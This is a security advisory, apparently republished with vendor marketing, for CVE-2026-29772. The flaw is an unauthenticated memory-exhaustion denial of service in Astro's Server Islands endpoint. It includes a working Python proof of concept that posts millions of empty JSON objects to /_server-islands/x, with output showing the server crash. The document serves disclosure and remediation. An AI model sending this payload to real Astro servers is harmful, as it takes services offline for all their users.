Summary
Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.
Details
Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:
// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text(); // full body buffered into memory, no size limit
const data = JSON.parse(raw); // parsed into V8 object graph, no element count limit
The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name, /_server-islands/anything triggers the vulnerable code path. No authentication is required.
Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.
PoC
Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.
The app does not use server:defer, this is a minimal SSR setup with no server island components. The route is still registered and exploitable.
Setup files:
package.json:
{
"name": "poc-server-islands-dos",
"scripts": {
"build": "astro build",
"start": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.18.0",
"@astrojs/node": "9.5.4"
}
}
astro.config.mjs:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
src/pages/index.astro:
---
---
<html>
<head><title>Astro App</title></head>
<body>
<h1>Hello</h1>
<p>Just a plain SSR page. No server islands.</p>
</body>
</html>
Dockerfile:
FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
docker-compose.yml:
services:
astro:
build: .
ports:
- "4321:4321"
deploy:
resources:
limits:
memory: 256m
Reproduction:
# Build and start
docker compose up -d
# Verify server is running
curl http://localhost:4321/
# => 200 OK
crash.py:
import requests
# Any path under /_server-islands/ works, no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"
# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")
try:
r = requests.post(TARGET, data=payload,
headers={"Content-Type": "application/json"}, timeout=30)
print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
print("Server crashed (OOM killed)")
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)
$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused
$ docker compose ps
NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS
(empty, container was OOM killed)
The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.
Impact
Any Astro SSR app with the Node standalone adapter is affected, the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names, any value in the [name] parameter works because the body is parsed before the name is validated.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
CVE-2026-29772 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (10.0.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-29772? CVE-2026-29772 is a medium-severity allocation of resources without limits or throttling vulnerability in @astrojs/node (npm), affecting versions < 10.0.0. It is fixed in 10.0.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is CVE-2026-29772? CVE-2026-29772 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @astrojs/node are affected by CVE-2026-29772? @astrojs/node (npm) versions < 10.0.0 is affected.
- Is there a fix for CVE-2026-29772? Yes. CVE-2026-29772 is fixed in 10.0.0. Upgrade to this version or later.
- Is CVE-2026-29772 exploitable, and should I be worried? Whether CVE-2026-29772 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-29772 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-29772? Upgrade
@astrojs/nodeto 10.0.0 or later.